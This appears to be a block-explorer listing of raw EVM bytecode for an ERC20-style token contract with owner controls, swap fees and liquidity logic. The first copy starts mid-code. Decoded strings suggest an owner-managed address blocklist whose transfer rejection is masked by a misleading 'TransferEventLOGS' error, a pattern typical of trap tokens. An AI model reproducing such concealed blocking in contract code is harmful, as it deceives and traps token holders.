d5780638da5cb5b146105ad57806395d89b41146105cb57806396d0efa7146105e05780639729818a146105f657600080fd5b80633ecad271116101f3578063715018a6116101ac578063715018a6146104ee578063787a08a61461050557806382eefb431461051b578063844d591c1461053157806388790a681461055157806388c9cb3c1461056757600080fd5b80633ecad271146104165780634cdc9c63146104465780635342acb41461045c57806357a5802f1461048c57806361a23c69146104a257806370a08231146104b857600080fd5b806327c8f8351161024557806327c8f8351461035f5780632b112e49146103935780632ca11460146103a8578063313ce567146103be578063328e94a5146103e057806339509351146103f657600080fd5b806306fdde031461028d578063095ea7b3146102b85780631694505e146102e857806318160ddd1461032057806323b872dd1461033f57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a2610835565b6040516102af9190611c98565b60405180910390f35b3480156102c457600080fd5b506102d86102d3366004611d0b565b6108c7565b60405190151581526020016102af565b3480156102f457600080fd5b50601b54610308906001600160a01b031681565b6040516001600160a01b0390911681526020016102af565b34801561032c57600080fd5b506019545b6040519081526020016102af565b34801561034b57600080fd5b506102d861035a366004611d37565b6108de565b34801561036b57600080fd5b506103087f000000000000000000000000000000000000000000000000000000000000000081565b34801561039f57600080fd5b50610331610949565b3480156103b457600080fd5b50610331600f5481565b3480156103ca57600080fd5b5060035460405160ff90911681526020016102af565b3480156103ec57600080fd5b50610331600c5481565b34801561040257600080fd5b506102d8610411366004611d0b565b610993565b34801561042257600080fd5b506102d8610431366004611d78565b600b6020526000908152604090205460ff1681565b34801561045257600080fd5b50610331601d5481565b34801561046857600080fd5b506102d8610477366004611d78565b60076020526000908152604090205460ff1681565b34801561049857600080fd5b5061033160135481565b3480156104ae57600080fd5b5061033160145481565b3480156104c457600080fd5b506103316104d3366004611d78565b6001600160a01b031660009081526005602052604090205490565b3480156104fa57600080fd5b506105036109c9565b005b34801561051157600080fd5b5061033160225481565b34801561052757600080fd5b5061033160175481565b34801561053d57600080fd5b5061050361054c366004611d95565b610a46565b34801561055d57600080fd5b5061033160105481565b34801561057357600080fd5b5061033160215481565b34801561058957600080fd5b506102d8610598366004611d78565b600a6020526000908152604090205460ff1681565b3480156105b957600080fd5b506000546001600160a01b0316610308565b3480156105d757600080fd5b506102a2610a9b565b3480156105ec57600080fd5b5061033160125481565b34801561060257600080fd5b50610503610611366004611de9565b610aaa565b34801561062257600080fd5b50601a54610331565b34801561063757600080fd5b5061033160185481565b34801561064d57600080fd5b506102d861065c366004611d0b565b610cec565b34801561066d57600080fd5b506102d861067c366004611d0b565b610d3b565b34801561068d57600080fd5b50610331601e5481565b3480156106a357600080fd5b5061033160155481565b3480156106b957600080fd5b506105036106c8366004611eae565b602155565b3480156106d957600080fd5b50610331600e5481565b3480156106ef57600080fd5b50601c54610308906001600160a01b031681565b34801561070f57600080fd5b5061033160115481565b34801561072557600080fd5b506102d8610734366004611d78565b60086020526000908152604090205460ff1681565b34801561075557600080fd5b50610503610d48565b34801561076a57600080fd5b50600454610308906001600160a01b031681565b34801561078a57600080fd5b506003546103089061010090046001600160a01b031681565b3480156107af57600080fd5b50610331600d5481565b3480156107c557600080fd5b506103316107d4366004611ec7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561080b57600080fd5b5061033160165481565b34801561082157600080fd5b50610503610830366004611d78565b610db5565b60606001805461084490611ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461087090611ef5565b80156108bd5780601f10610892576101008083540402835291602001916108bd565b820191906000526020600020905b8154815290600101906020018083116108a057829003601f168201915b5050505050905090565b60006108d4338484610efe565b5060015b92915050565b60006108eb848484611022565b5061093e843361093985604051806060016040528060288152602001612135602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114fd565b610efe565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526005602052604081205460195461098e91611537565b905090565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916108d49185906109399086610e9f565b6000546001600160a01b031633146109fc5760405162461bcd60e51b81526004016109f390611f2f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016109f390611f2f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60606002805461084490611ef5565b60005b8151811015610ce85760045482516001600160a01b0390911690839083908110610ad957610ad9611f64565b60200260200101516001600160a01b031603610af457600080fd5b600360019054906101000a90046001600160a01b03166001600160a01b0316828281518110610b2557610b25611f64565b60200260200101516001600160a01b031603610b4057600080fd5b601c5482516001600160a01b0390911690839083908110610b6357610b63611f64565b60200260200101516001600160a01b031603610b7e57600080fd5b6000546001600160a01b03166001600160a01b0316828281518110610ba557610ba5611f64565b60200260200101516001600160a01b031603610bc057600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316828281518110610bfc57610bfc611f64565b60200260200101516001600160a01b031603610c1757600080fd5b306001600160a01b0316828281518110610c3357610c33611f64565b60200260200101516001600160a01b031603610c4e57600080fd5b601b5482516001600160a01b0390911690839083908110610c7157610c71611f64565b60200260200101516001600160a01b031603610c8c57600080fd5b600160096000848481518110610ca457610ca4611f64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ce081611f90565b915050610aad565b5050565b60006108d433846109398560405180606001604052806025815260200161215d602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906114fd565b600061093e338484611022565b60035460405160009161010090046001600160a01b03169061753090479084818181858888f193505050503d8060008114610d9f576040519150601f19603f3d011682016040523d82523d6000602084013e610da4565b606091505b5050905080610db257600080fd5b50565b6000546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016109f390611f2f565b6001600160a01b038116610e445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610eac8385611fa9565b9050838110156109425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109f3565b6001600160a01b038316610f605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109f3565b6001600160a01b038216610fc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109f3565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166110885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109f3565b6001600160a01b0383166110ea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109f3565b6001600160a01b03841660009081526009602052604090205460ff161561116c5760405162461bcd60e51b815260206004820152603060248201527f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460448201526f72616e736665724576656e744c4f475360801b60648201526084016109f3565b601c546001600160a01b0384811691161480156111a257506001600160a01b0384166000908152600a602052604090205460ff16155b156111eb576001600160a01b0384166000908152600560205260409020548083036111e9576111e66111df601f548561157990919063ffffffff16565b8490611537565b92505b505b601c546001600160a01b03848116911614801561121e57506001600160a01b038316600090815260056020526040902054155b156112285743601d555b60205460ff16156112455761123e8484846115bb565b9050610942565b30600090815260056020526040902054601a548110801590819061126c575060205460ff16155b801561129157506001600160a01b0386166000908152600b602052604090205460ff16155b156112b457601b546001600160a01b038781169116146112b4576112b4826116a1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600590915291909120546113069186906114fd565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061135357506001600160a01b03861660009081526007602052604090205460ff165b611367576113628787876117d3565b611369565b845b6001600160a01b03871660009081526005602052604090205490915061138f9082610e9f565b6001600160a01b0387166000908152600560205260409020556022546113e3906113ba606488611fbc565b6113c49190611fde565b6001600160a01b03881660009081526005602052604090205490611537565b6001600160a01b0387166000908152600560205260409020556021546114399061140e606488611fbc565b6114189190611fde565b6004546001600160a01b031660009081526005602052604090205490610e9f565b6004546001600160a01b03908116600090815260056020908152604091829020939093555183815288821692918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3601e54601d546114a49190611fa9565b431080156114bf5750601c546001600160a01b038881169116145b156114f1576114ef867f0000000000000000000000000000000000000000000000000000000000000000836115bb565b505b60019350505050610942565b600081848411156115215760405162461bcd60e51b81526004016109f39190611c98565b50600061152e8486611ff5565b95945050505050565b600061094283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114fd565b600061094283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611961565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461160c9184906114fd565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461163b9083610e9f565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061168f9086815260200190565b60405180910390a35060019392505050565b6020805460ff191660011790556018546013546000916116d1916002916116cb918290879061198f565b90611579565b905060006116df8383611537565b90506116ea81611a11565b601354479060009061170a90611701906002611579565b60185490611537565b9050600061172c60026116cb846116cb6013548861198f90919063ffffffff16565b90506000611749836116cb6015548761198f90919063ffffffff16565b905060006117618261175b8786611537565b90611537565b90508015611784576003546117849061010090046001600160a01b031682611ba4565b81156117a0576004546117a0906001600160a01b031683611ba4565b6000831180156117b05750600087115b156117bf576117bf8784611bdf565b50506020805460ff19169055505050505050565b6001600160a01b0383166000908152600b6020526040812054819060ff16156118175761181060646116cb6016548661198f90919063ffffffff16565b90506118dd565b6001600160a01b0384166000908152600b602052604090205460ff16156118dd5761185260646116cb6017548661198f90919063ffffffff16565b90506000805b600c5481136118b55760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506118a2878360646115bb565b50806118ad81612008565b915050611858565b506118da600c5460016118c89190612020565b6118d3906064611fde565b8590611537565b50505b801561195757306000908152600560205260409020546118fd9082610e9f565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061194e9085815260200190565b60405180910390a35b61152e8382611537565b600081836119825760405162461bcd60e51b81526004016109f39190611c98565b50600061152e8486611fbc565b6000826000036119a1575060006108d8565b60006119ad8385611fde565b9050826119ba8583611fbc565b146109425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109f3565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a4657611a46611f64565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac39190612048565b81600181518110611ad657611ad6611f64565b6001600160a01b039283166020918202929092010152601b54611afc9130911684610efe565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b359085906000908690309042906004016120a9565b600060405180830381600087803b158015611b4f57600080fd5b505af1158015611b63573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611b989291906120e5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611bda573d6000803e3d6000fd5b505050565b601b54611bf79030906001600160a01b031684610efe565b601b5460035460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611c6c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c919190612106565b5050505050565b600060208083528351808285015260005b81811015611cc557858101830151858201604001528201611ca9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610db257600080fd5b8035611d0681611ce6565b919050565b60008060408385031215611d1e57600080fd5b8235611d2981611ce6565b946020939093013593505050565b600080600060608486031215611d4c57600080fd5b8335611d5781611ce6565b92506020840135611d6781611ce6565b929592945050506040919091013590565b600060208284031215611d8a57600080fd5b813561094281611ce6565b60008060408385031215611da857600080fd5b8235611db381611ce6565b915060208301358015158114611dc857600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dfc57600080fd5b823567ffffffffffffffff80821115611e1457600080fd5b818501915085601f830112611e2857600080fd5b813581811115611e3a57611e3a611dd3565b8060051b604051601f19603f83011681018181108582111715611e5f57611e5f611dd3565b604052918252848201925083810185019188831115611e7d57600080fd5b938501935b82851015611ea257611e9385611cfb565b84529385019392850192611e82565b98975050505050505050565b600060208284031215611ec057600080fd5b5035919050565b60008060408385031215611eda57600080fd5b8235611ee581611ce6565b91506020830135611dc881611ce6565b600181811c90821680611f0957607f821691505b602082108103611f2957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611fa257611fa2611f7a565b5060010190565b808201808211156108d8576108d8611f7a565b600082611fd957634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176108d8576108d8611f7a565b818103818111156108d8576108d8611f7a565b60006001600160ff1b018201611fa257611fa2611f7a565b808201828112600083128015821682158216171561204057612040611f7a565b505092915050565b60006020828403121561205a57600080fd5b815161094281611ce6565b600081518084526020808501945080840160005b8381101561209e5781516001600160a01b031687529582019590820190600101612079565b509495945050505050565b85815284602082015260a0604082015260006120c860a0830186612065565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120fe6040830184612065565b949350505050565b60008060006060848603121561211b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cc8e064c93474fed427e2443bab6e3426d79b3829aae6f87f609cc0894b7359c64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102815760003560e01c80638b42507f1161014f578063b976bd17116100c1578063cb7e973e1161007a578063cb7e973e1461075e578063d158272d1461077e578063dc44b6a0146107a3578063dd62ed3e146107b9578063f0cd1dac146107ff578063f2fde38b1461081557600080fd5b8063b976bd17146106ad578063c5d24189146106cd578063c816841b146106e3578063c860795214610703578063c867d60b14610719578063caf5f67d1461074957600080fd5b8063a073d37f11610113578063a073d37f14610616578063a08e671f1461062b578063a457c2d714610641578063a9059cbb14610661578063aea9cd1514610681578063af806d9a1461069757600080fd5b80638b42507f1461057d5780638da5cb5b146105ad57806395d89b41146105cb57806396d0efa7146105e05780639729818a146105f657600080fd5b80633ecad271116101f3578063715018a6116101ac578063715018a6146104ee578063787a08a61461050557806382eefb431461051b578063844d591c1461053157806388790a681461055157806388c9cb3c1461056757600080fd5b80633ecad271146104165780634cdc9c63146104465780635342acb41461045c57806357a5802f1461048c57806361a23c69146104a257806370a08231146104b857600080fd5b806327c8f8351161024557806327c8f8351461035f5780632b112e49146103935780632ca11460146103a8578063313ce567146103be578063328e94a5146103e057806339509351146103f657600080fd5b806306fdde031461028d578063095ea7b3146102b85780631694505e146102e857806318160ddd1461032057806323b872dd1461033f57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a2610835565b6040516102af9190611c98565b60405180910390f35b3480156102c457600080fd5b506102d86102d3366004611d0b565b6108c7565b60405190151581526020016102af565b3480156102f457600080fd5b50601b54610308906001600160a01b031681565b6040516001600160a01b0390911681526020016102af565b34801561032c57600080fd5b506019545b6040519081526020016102af565b34801561034b57600080fd5b506102d861035a366004611d37565b6108de565b34801561036b57600080fd5b506103087f000000000000000000000000000000000000000000000000000000000000dead81565b34801561039f57600080fd5b50610331610949565b3480156103b457600080fd5b50610331600f5481565b3480156103ca57600080fd5b5060035460405160ff90911681526020016102af565b3480156103ec57600080fd5b50610331600c5481565b34801561040257600080fd5b506102d8610411366004611d0b565b610993565b34801561042257600080fd5b506102d8610431366004611d78565b600b6020526000908152604090205460ff1681565b34801561045257600080fd5b50610331601d5481565b34801561046857600080fd5b506102d8610477366004611d78565b60076020526000908152604090205460ff1681565b34801561049857600080fd5b5061033160135481565b3480156104ae57600080fd5b5061033160145481565b3480156104c457600080fd5b506103316104d3366004611d78565b6001600160a01b031660009081526005602052604090205490565b3480156104fa57600080fd5b506105036109c9565b005b34801561051157600080fd5b5061033160225481565b34801561052757600080fd5b5061033160175481565b34801561053d57600080fd5b5061050361054c366004611d95565b610a46565b34801561055d57600080fd5b5061033160105481565b34801561057357600080fd5b5061033160215481565b34801561058957600080fd5b506102d8610598366004611d78565b600a6020526000908152604090205460ff1681565b3480156105b957600080fd5b506000546001600160a01b0316610308565b3480156105d757600080fd5b506102a2610a9b565b3480156105ec57600080fd5b5061033160125481565b34801561060257600080fd5b50610503610611366004611de9565b610aaa565b34801561062257600080fd5b50601a54610331565b34801561063757600080fd5b5061033160185481565b34801561064d57600080fd5b506102d861065c366004611d0b565b610cec565b34801561066d57600080fd5b506102d861067c366004611d0b565b610d3b565b34801561068d57600080fd5b50610331601e5481565b3480156106a357600080fd5b5061033160155481565b3480156106b957600080fd5b506105036106c8366004611eae565b602155565b3480156106d957600080fd5b50610331600e5481565b3480156106ef57600080fd5b50601c54610308906001600160a01b031681565b34801561070f57600080fd5b5061033160115481565b34801561072557600080fd5b506102d8610734366004611d78565b60086020526000908152604090205460ff1681565b34801561075557600080fd5b50610503610d48565b34801561076a57600080fd5b50600454610308906001600160a01b031681565b34801561078a57600080fd5b506003546103089061010090046001600160a01b031681565b3480156107af57600080fd5b50610331600d5481565b3480156107c557600080fd5b506103316107d4366004611ec7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561080b57600080fd5b5061033160165481565b34801561082157600080fd5b50610503610830366004611d78565b610db5565b60606001805461084490611ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461087090611ef5565b80156108bd5780601f10610892576101008083540402835291602001916108bd565b820191906000526020600020905b8154815290600101906020018083116108a057829003601f168201915b5050505050905090565b60006108d4338484610efe565b5060015b92915050565b60006108eb848484611022565b5061093e843361093985604051806060016040528060288152602001612135602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114fd565b610efe565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526005602052604081205460195461098e91611537565b905090565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916108d49185906109399086610e9f565b6000546001600160a01b031633146109fc5760405162461bcd60e51b81526004016109f390611f2f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016109f390611f2f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60606002805461084490611ef5565b60005b8151811015610ce85760045482516001600160a01b0390911690839083908110610ad957610ad9611f64565b60200260200101516001600160a01b031603610af457600080fd5b600360019054906101000a90046001600160a01b03166001600160a01b0316828281518110610b2557610b25611f64565b60200260200101516001600160a01b031603610b4057600080fd5b601c5482516001600160a01b0390911690839083908110610b6357610b63611f64565b60200260200101516001600160a01b031603610b7e57600080fd5b6000546001600160a01b03166001600160a01b0316828281518110610ba557610ba5611f64565b60200260200101516001600160a01b031603610bc057600080fd5b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316828281518110610bfc57610bfc611f64565b60200260200101516001600160a01b031603610c1757600080fd5b306001600160a01b0316828281518110610c3357610c33611f64565b60200260200101516001600160a01b031603610c4e57600080fd5b601b5482516001600160a01b0390911690839083908110610c7157610c71611f64565b60200260200101516001600160a01b031603610c8c57600080fd5b600160096000848481518110610ca457610ca4611f64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ce081611f90565b915050610aad565b5050565b60006108d433846109398560405180606001604052806025815260200161215d602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906114fd565b600061093e338484611022565b60035460405160009161010090046001600160a01b03169061753090479084818181858888f193505050503d8060008114610d9f576040519150601f19603f3d011682016040523d82523d6000602084013e610da4565b606091505b5050905080610db257600080fd5b50565b6000546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016109f390611f2f565b6001600160a01b038116610e445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610eac8385611fa9565b9050838110156109425760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109f3565b6001600160a01b038316610f605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109f3565b6001600160a01b038216610fc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109f3565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166110885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109f3565b6001600160a01b0383166110ea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109f3565b6001600160a01b03841660009081526009602052604090205460ff161561116c5760405162461bcd60e51b815260206004820152603060248201527f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460448201526f72616e736665724576656e744c4f475360801b60648201526084016109f3565b601c546001600160a01b0384811691161480156111a257506001600160a01b0384166000908152600a602052604090205460ff16155b156111eb576001600160a01b0384166000908152600560205260409020548083036111e9576111e66111df601f548561157990919063ffffffff16565b8490611537565b92505b505b601c546001600160a01b03848116911614801561121e57506001600160a01b038316600090815260056020526040902054155b156112285743601d555b60205460ff16156112455761123e8484846115bb565b9050610942565b30600090815260056020526040902054601a548110801590819061126c575060205460ff16155b801561129157506001600160a01b0386166000908152600b602052604090205460ff16155b156112b457601b546001600160a01b038781169116146112b4576112b4826116a1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600590915291909120546113069186906114fd565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061135357506001600160a01b03861660009081526007602052604090205460ff165b611367576113628787876117d3565b611369565b845b6001600160a01b03871660009081526005602052604090205490915061138f9082610e9f565b6001600160a01b0387166000908152600560205260409020556022546113e3906113ba606488611fbc565b6113c49190611fde565b6001600160a01b03881660009081526005602052604090205490611537565b6001600160a01b0387166000908152600560205260409020556021546114399061140e606488611fbc565b6114189190611fde565b6004546001600160a01b031660009081526005602052604090205490610e9f565b6004546001600160a01b03908116600090815260056020908152604091829020939093555183815288821692918a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3601e54601d546114a49190611fa9565b431080156114bf5750601c546001600160a01b038881169116145b156114f1576114ef867f000000000000000000000000000000000000000000000000000000000000dead836115bb565b505b60019350505050610942565b600081848411156115215760405162461bcd60e51b81526004016109f39190611c98565b50600061152e8486611ff5565b95945050505050565b600061094283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114fd565b600061094283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611961565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461160c9184906114fd565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461163b9083610e9f565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061168f9086815260200190565b60405180910390a35060019392505050565b6020805460ff191660011790556018546013546000916116d1916002916116cb918290879061198f565b90611579565b905060006116df8383611537565b90506116ea81611a11565b601354479060009061170a90611701906002611579565b60185490611537565b9050600061172c60026116cb846116cb6013548861198f90919063ffffffff16565b90506000611749836116cb6015548761198f90919063ffffffff16565b905060006117618261175b8786611537565b90611537565b90508015611784576003546117849061010090046001600160a01b031682611ba4565b81156117a0576004546117a0906001600160a01b031683611ba4565b6000831180156117b05750600087115b156117bf576117bf8784611bdf565b50506020805460ff19169055505050505050565b6001600160a01b0383166000908152600b6020526040812054819060ff16156118175761181060646116cb6016548661198f90919063ffffffff16565b90506118dd565b6001600160a01b0384166000908152600b602052604090205460ff16156118dd5761185260646116cb6017548661198f90919063ffffffff16565b90506000805b600c5481136118b55760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506118a2878360646115bb565b50806118ad81612008565b915050611858565b506118da600c5460016118c89190612020565b6118d3906064611fde565b8590611537565b50505b801561195757306000908152600560205260409020546118fd9082610e9f565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061194e9085815260200190565b60405180910390a35b61152e8382611537565b600081836119825760405162461bcd60e51b81526004016109f39190611c98565b50600061152e8486611fbc565b6000826000036119a1575060006108d8565b60006119ad8385611fde565b9050826119ba8583611fbc565b146109425760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109f3565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a4657611a46611f64565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac39190612048565b81600181518110611ad657611ad6611f64565b6001600160a01b039283166020918202929092010152601b54611afc9130911684610efe565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b359085906000908690309042906004016120a9565b600060405180830381600087803b158015611b4f57600080fd5b505af1158015611b63573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611b989291906120e5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611bda573d6000803e3d6000fd5b505050565b601b54611bf79030906001600160a01b031684610efe565b601b5460035460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611c6c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c919190612106565b5050505050565b600060208083528351808285015260005b81811015611cc557858101830151858201604001528201611ca9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610db257600080fd5b8035611d0681611ce6565b919050565b60008060408385031215611d1e57600080fd5b8235611d2981611ce6565b946020939093013593505050565b600080600060608486031215611d4c57600080fd5b8335611d5781611ce6565b92506020840135611d6781611ce6565b929592945050506040919091013590565b600060208284031215611d8a57600080fd5b813561094281611ce6565b60008060408385031215611da857600080fd5b8235611db381611ce6565b915060208301358015158114611dc857600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dfc57600080fd5b823567ffffffffffffffff80821115611e1457600080fd5b818501915085601f830112611e2857600080fd5b813581811115611e3a57611e3a611dd3565b8060051b604051601f19603f83011681018181108582111715611e5f57611e5f611dd3565b604052918252848201925083810185019188831115611e7d57600080fd5b938501935b82851015611ea257611e9385611cfb565b84529385019392850192611e82565b98975050505050505050565b600060208284031215611ec057600080fd5b5035919050565b60008060408385031215611eda57600080fd5b8235611ee581611ce6565b91506020830135611dc881611ce6565b600181811c90821680611f0957607f821691505b602082108103611f2957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611fa257611fa2611f7a565b5060010190565b808201808211156108d8576108d8611f7a565b600082611fd957634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176108d8576108d8611f7a565b818103818111156108d8576108d8611f7a565b60006001600160ff1b018201611fa257611fa2611f7a565b808201828112600083128015821682158216171561204057612040611f7a565b505092915050565b60006020828403121561205a57600080fd5b815161094281611ce6565b600081518084526020808501945080840160005b8381101561209e5781516001600160a01b031687529582019590820190600101612079565b509495945050505050565b85815284602082015260a0604082015260006120c860a0830186612065565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120fe6040830184612065565b949350505050565b60008060006060848603121561211b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cc8e064c93474fed427e2443bab6e3426d79b3829aae6f87f609cc0894b7359c64736f6c63430008120033

Deployed Bytecode Sourcemap

